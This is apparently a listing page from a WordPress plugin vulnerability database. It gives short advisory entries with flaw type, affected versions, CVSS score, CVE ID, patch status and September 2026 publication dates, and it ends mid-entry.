Location Manager <= 2.3.38 – Unauthenticated SQL Injection via ‘latitude’ and ‘longitude’ REST API Parameters

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-85705
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Location Manager [geodir_location_manager]

Researcher

More Details >

Ni WooCommerce Sales Report <= 4.1.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-78472
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Ni WooCommerce Sales Report – Orders, Revenue & Sales Analytics Dashboard [ni-woocommerce-sales-report]

Researcher

More Details >

Online Scheduling and Appointment Booking System <= 28.1 – Insecure Direct Object Reference to Unauthenticated Sensitive Data Access and Message Injection via ‘conversation_id’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-89063
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

More Details >

Price Drop Alert for WooCommerce <= 1.1 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87770
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Price Drop Alert for Woo Commerce [woo-price-drop-alert]

Researcher

More Details >

Printcart Web to Print Product Designer for WooCommerce <= 2.8.5 – Unauthenticated Arbitrary File Read via ‘folder’ and ‘mockups’ Parameters

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-14323
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Printcart Store – Web to Print Product Designer for WooCommerce [printcart-integration]

Researcher

More Details >

Product Question and Answer <= 1.1.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87771
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Product Question and Answer [product-question-and-answer]

Researcher

More Details >

SAMO Forms <= 1.0.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-80491
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

SAMO Forms [samo-forms]

Researcher

More Details >

Shortcut Link <= 1.2.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87767
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

wp shortcut link and advertisement baner [wp-shortcut-link]

Researcher

More Details >

Tz Weekly Radio Schedule <= 1.8.1 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87775
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Tz Weekly Radio Schedule [tz-wrs-core]

Researcher

More Details >

Tz Weekly Radio Schedule <= 1.8.1 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87774
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Tz Weekly Radio Schedule [tz-wrs-core]

Researcher

More Details >

Unlimited Elements For Elementor <= 2.0.19 – Authenticated (Subscriber+) PHP Object Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-85017
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Unlimited Elements For Elementor [unlimited-elements-for-elementor]

Researcher

More Details >

VikRentItems Flexible Rental Management System <= 1.2.3 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-88926
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

VikRentItems Flexible Rental Management System [vikrentitems]

Researchers

More Details >

WCFM Marketplace <= 3.8.2 – Unauthenticated SQL Injection via ‘wcfmmp_user_location_lat’ / ‘wcfmmp_user_location_lng’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-18442
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WCFM Marketplace – Multivendor Marketplace for WooCommerce [wc-multivendor-marketplace]

Researcher

More Details >

WP Multi Store Locator Pro <= 4.5.1 – Unauthenticated SQL Injection via ‘store_locator_search_radius’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-15275
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Multi Store Locator Pro [wp-multi-store-locator-pro]

Researcher

More Details >

WP Photo Album Plus <= 9.2.09.002 – Authenticated (Subscriber+) Remote Code Execution via Multipart Upload Filename via ImageMagick Argument Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87909
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP Photo Album Plus [wp-photo-album-plus]

Researcher

More Details >

Yo 1.1 – 1.3.1 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87963
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Yo [yo]

Researcher

More Details >

Yogeta WP Cloud <= 1.0 – Unauthenticated Arbitrary File Read

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-80494
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

Yogeta WP Cloud [yogeta-wp-cloud]

Researcher

More Details >

YS LeadGen – Popups, Opt-ins & Lead Capture <= 2.1.4 – Unauthenticated Information Disclosure in ‘ysleadgen_get_captured_data’ AJAX Action

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-1255
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

YS LeadGen – Drag and Drop Popup Builder, Form Builder, Exit Intent Popups & Lead Capture for WordPress [ysleadgen]

Researcher

More Details >

GiveWP <= 4.16.8.0 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-85530
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

More Details >

Headless SSO Plugin for WP <= 1.7.0 – Unauthenticated Arbitrary Account Takeover

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-62108
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Headless SSO Plugin for WP [headless-single-sign-on]

Researcher

More Details >

SAML Single Sign On <= 5.0.0 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-82842
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

SAML Single Sign On – SSO Login [miniorange-saml-20-single-sign-on]

Researcher

More Details >

UsersWP – Social Login <= 1.5.9 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-86814
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

UsersWP – Social Login [userswp-social-login]

Researcher

More Details >

WP Component <= 2.2.4 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-85681
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

WP Component [wpcomponent]

Researcher

More Details >

AF Companion <= 2.1.0 – Authenticated (Shop Manager+) Remote Code Execution

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84738
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

AF Companion – Starter Sites, Speed Booster & Growth Suite for Professional Publishing [af-companion]

Researcher

More Details >

Asset CleanUp: Page Speed Booster <= 1.4.0.5 – Unauthenticated Stored Cross-Site Scripting via Comment Content

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-13354
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Asset CleanUp: Page Speed Booster [wp-asset-clean-up]

Researcher

More Details >

BE REST Endpoints <= 1.0.0 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81742
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

BE REST Endpoints [be-rest-endpoints]

Researchers

More Details >

Booking Calendar <= 11.8.2 – Authenticated (Editor+) Privilege Escalation to ‘data_name’ Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-92619
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Booking Calendar [booking]

Researcher

More Details >

Complianz GDPR/CCPA Cookie Consent Banner <= 7.5.4 – Unauthenticated Stored Cross-Site Scripting via Elementor Cookie Blocker Regex

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-83561
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Complianz GDPR/CCPA Cookie Consent Banner [complianz-gdpr]

Researcher

More Details >

Dewa Kirim <= 1.0.0 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-87786
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Dewa Kirim – WooCommerce Gojek / Gosend [dewa-kirim-woocommerce-gojek]

Researchers

More Details >

Dictionary <= 1.0 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-88792
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Dictionary [dictionary]

Researchers

More Details >

Easy Form Builder 4.0.0 – 4.1.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85122
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Easy Form Builder by WhiteStudio – Drag & Drop Form Builder [easy-form-builder]

Researcher

More Details >

Forminator Forms <= 1.57.2.0 – Authenticated (Admin+) Privilege Escalation

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-87068
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

More Details >

Generate PDF using Contact Form 7 <= 4.2.1 – Unauthenticated Server-Side Request Forgery

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-90984
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Generate PDF using Contact Form 7 [generate-pdf-using-contact-form-7]

Researcher

More Details >

GenieWords 1.5.27 – 1.5.34 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-74933
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

GenieWords [geniewords]

Researchers

More Details >

Hoo Companion 1.0.2 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85129
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

Hoo Companion [hoo-companion]

Researchers

More Details >

iGMS Direct Booking <= 1.0 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-88825
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

iGMS Direct Booking [igms-direct-booking]

Researcher

More Details >

Import and export users and customers <= 2.5.1 – Authenticated (Admin+) Privilege Escalation

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-92540
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Import and export users and customers [import-users-from-csv-with-meta]

Researcher

More Details >

Import and export users and customers <= 2.5.1 – Authenticated (Admin+) Privilege Escalation

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-92541
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Import and export users and customers [import-users-from-csv-with-meta]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) Arbitrary File Upload

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-76552
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Admin+) Remote Code Execution

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-76551
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Import Export Lite <= 3.9.33 – Authenticated (Admin+) Remote Code Execution

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-76550
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Jeg Kit for Elementor <= 3.2.16 – Unauthenticated Stored Cross-Site Scripting via Comment Content

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-18405
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress [jeg-elementor-kit]

Researcher

More Details >

Master Blocks 1.4.1 – 1.4.1.4 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-88824
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Master Blocks – Ultimate Blocks for Marketers [ultimate-blocks-for-gutenberg]

Researcher

More Details >

MotoPress Hotel Booking <= 6.2.4 – Unauthenticated Stored Cross-Site Scripting via Stripe Webhook Event Object ‘id’

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-90650
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

MotoPress Hotel Booking [motopress-hotel-booking-lite]

Researcher

More Details >

NextGEN Gallery <= 4.4.0 – Authenticated (Admin+) Arbitrary File Upload

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81650
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery [nextgen-gallery]

Researcher

More Details >

Optimole <= 4.2.11 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84829
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization [optimole-wp]

Researcher

More Details >

Popup Maker <= 1.24.0 – Unauthenticated Stored Cross-Site Scripting via values[Name] Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-87915
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder [popup-maker]

Researcher

More Details >

Quill Forms | Conversational Multi Step Forms, Surveys & quizzes <= 5.7.1 – Unauthenticated Stored Cross-Site Scripting via Multiple Choice ‘Other’ Value

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-15664
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Quill Forms | Conversational Multi Step Forms, Surveys & quizzes [quillforms]

Researcher

More Details >

Royal Elementor Addons <= 1.7.1066 – Unauthenticated Arbitrary HTML Injection in Notification Emails

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-13407
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

More Details >

To Do List Member 1.4 – 1.6 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-86801
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

To Do List Member [todo-lists-for-membership-sites]

Researchers

More Details >

Ultimate Member <= 2.13.0 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85680
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin [ultimate-member]

Researcher

More Details >

VikBooking 1.8.8 – 1.8.14 – Unauthenticated Stored Cross-Site Scripting via SVG Upload

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85127
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

VikBooking Hotel Booking Engine & PMS [vikbooking]

Researcher

More Details >

Visitor Traffic Real Time Statistics pro <= 11.21 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-90986
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Visitor Traffic Real Time Statistics pro [visitors-traffic-real-time-statistics-pro]

Researcher

More Details >

WordPress Core <= 7.1 – Unauthenticated Stored Cross-Site Scripting via wpautop() Blockquote Handling

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-93485
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WP Inventory Manager <= 2.5.4 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-90887
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

WP Inventory Manager [wp-inventory-manager]

Researcher

More Details >

WP-Lister Lite for eBay <= 3.8.9 – Unauthenticated Stored Cross-Site Scripting via AJAX Cron Handler Request

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-18595
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

WP-Lister Lite for eBay [wp-lister-for-ebay]

Researcher

More Details >

WPLP Cookie Consent <= 4.4.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85130
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

YouTube Embed – YouTube Gallery, Vimeo Gallery – WordPress Plugin 10.0 – 10.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-88793
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

YouTube Embed – YouTube Gallery, Vimeo Gallery – WordPress Plugin [youram-youtube-embed]

Researcher

More Details >

Forminator Forms <= 1.57.2.0 – Authenticated (Admin+) PHP Object Injection

6.6

CVSS Rating
6.6 (Medium)
CVE-ID

CVE-2026-87067
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

More Details >

AI Engine <= 3.7.7 – Insecure Direct Object Reference to Authenticated (Subscriber+) Sensitive Attachment Disclosure via ‘mediaId’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-89141
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

More Details >

Better Messages <= 2.15.33 – Missing Authorization to Authenticated (Custom+) Chat-Room Transcript Disclosure via ‘/thread/<id>’ REST Endpoint

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-89334
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

More Details >

Create <= 2.5.3 – Authenticated (Author+) SQL Injection via ‘order_by’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-13191
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Create [mediavine-create]

Researcher

More Details >

Create <= 2.5.3 – Authenticated (Author+) SQL Injection via ‘order’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-13200
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Create [mediavine-create]

Researcher

More Details >

Custom Field Template <= 2.7.8 – Authenticated (Contributor+) SQL Injection via ‘post_ID’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-9855
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Custom Field Template [custom-field-template]

Researcher

More Details >

Divi Essentials <= 5.8.1 – Missing Authorization to Authenticated (Subscriber+) Sensitive Information Disclosure via dnxte_get_database_data AJAX Action

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-15760
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Divi Essentials [divi-essential]

Researcher

More Details >

Download Manager <= 3.3.68 – Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Disclosure via ‘wpdm_duplicate’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-92714
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Download Manager [download-manager]

Researcher

More Details >

Easy Appointments <= 3.12.27 – Missing Authorization to Authenticated (Contributor+) Sensitive Customer Information Exposure via ea_get_customers_ajax AJAX Action

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-9232
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

More Details >

Formidable Forms <= 6.34 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-19857
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Formidable Forms – WordPress Form Builder for Contact Forms, Calculators, Quizzes & More [formidable]

Researcher

More Details >

GiveWP <= 4.16.8 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85113
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

More Details >

InfiniteWP Client <= 1.13.9 – Authenticated (Admin+) SQL Injection via ‘iwp_get_comments_*’ Array Key

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-17576
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

InfiniteWP Client [iwp-client]

Researcher

More Details >

JetFormBuilder <= 3.6.5.2 – Authenticated (Administrator+) Arbitrary File Deletion

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-19860
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetFormBuilder — Dynamic Blocks Form Builder [jetformbuilder]

Researcher

More Details >

Photo Gallery by 10Web <= 1.8.44 – Authenticated (Author+) SQL Injection via ‘album_id’ Shortcode Attribute

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85652
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Photo Gallery by 10Web – Mobile-Friendly Image Gallery [photo-gallery]

Researcher

More Details >

Product Feed Manager for WooCommerce – RexFeed – Sell on 200+ Shopping Channels <= 7.12.0 – Authenticated (Contributor+) SQL Injection

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-66580
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Product Feed Manager for WooCommerce – RexFeed – Sell on 200+ Shopping Channels [best-woocommerce-feed]

Researcher

More Details >

Tutor LMS <= 4.0.8 – Insecure Direct Object Reference to Authenticated (Subscriber+) Sensitive Information Exposure via ‘student_id’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-89333
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

More Details >

Wow Elements Addons for Elementor <= 1.11.2 – Authenticated (Contributor+) Server-Side Request Forgery via Changelog File Setting

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-1641
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Wow Elements Addons for Elementor [wow-elements-addons-for-elementor]

Researchers

More Details >

WP Directory Kit <= 1.5.4 – Authenticated (Custom+) SQL Injection via ‘order_by’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-16588
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

More Details >

WP Inventory Manager <= 2.5.1 – Authenticated (Contributor+) SQL Injection via ‘where’ Shortcode Attribute

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-17607
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Inventory Manager [wp-inventory-manager]

Researcher

More Details >

Advanced Popups <= 1.2.3 – Authenticated (Author+) Stored Cross-Site Scripting via ‘Notification Button Link’ Field

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-11996
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Advanced Popups [advanced-popups]

Researcher

More Details >

All Bootstrap Blocks <= 1.3.31 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-88993
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

All Bootstrap Blocks [all-bootstrap-blocks]

Researcher

More Details >

AppMySite <= 3.15.3 – Authenticated (Subscriber+) Stored Cross-Site Scripting via save_ams_license_key AJAX Handler

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-13770
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

AppMySite – WordPress & WooCommerce Mobile App Builder (No-Code Android & iOS App Maker) [appmysite]

Researcher

More Details >

Auto Upload Images <= 3.3.2 – Authenticated (Contributor+) Server-Side Request Forgery via ‘src’ Attribute of <img> Tags

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-12106
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Auto Upload Images [auto-upload-images]

Researcher

More Details >

Bold Page Builder <= 5.9.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘shortcode_content’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-5920
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Bold Page Builder [bold-page-builder]

Researcher

More Details >

Bridge – Creative Multipurpose WordPress Theme <= 30.8.9.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘circle_line’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15609
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Bridge – Creative Multipurpose WordPress Theme [bridge]

Researcher

More Details >

Brizy – Page Builder <= 2.8.14 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘rootAttributes’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-2585
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Brizy – Page Builder [brizy]

Researchers

More Details >

Custom Twitter Feeds <= 2.8.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘buttoncolor’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84909
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Custom Twitter Feeds – A Tweets Widget or X Feed Widget [custom-twitter-feeds]

Researcher

More Details >

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons <= 8.8.3 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66574
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons [bdthemes-element-pack-lite]

Researcher

More Details >

Eventin <= 4.1.23 – Authenticated (Custom+) Stored Cross-Site Scripting via ‘etn_shedule_objective’ schedule_slot Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15402
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

EWWW Image Optimizer <= 8.7.6 – Authenticated (Author+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-91011
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

EWWW Image Optimizer [ewww-image-optimizer]

Researcher

More Details >

Geo Mashup <= 1.13.21 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-78294
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Geo Mashup [geo-mashup]

Researcher

More Details >

Getwid <= 2.1.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via Google Maps ‘customStyle’

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-5924
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Getwid – Gutenberg Blocks [getwid]

Researcher

More Details >

Gum Addon for Elementor <= 1.3.15 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘pop_tag’ Widget Setting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-8354
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Gum Addon for Elementor [gum-elementor-addon]

Researcher

More Details >

HT Mega 3.2.0 – 3.2.5 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-86788
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

HT Mega Addons for Elementor – Elementor Widgets & Template Builder [ht-mega-for-elementor]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-76558
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

Issues and Series for Newspapers, Magazines, Publishers, Writers <= 3.1.3 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66617
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Issues and Series for Newspapers, Magazines, Publishers, Writers [organize-series]

Researcher

More Details >

JetBlocks for Elementor <= 1.5.2 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66576
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetBlocks for Elementor [jet-blocks]

Researcher

More Details >

JetBlog <= 2.4.10 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66572
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetBlog [jet-blog]

Researcher

More Details >

JetElements <= 2.9.2.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66579
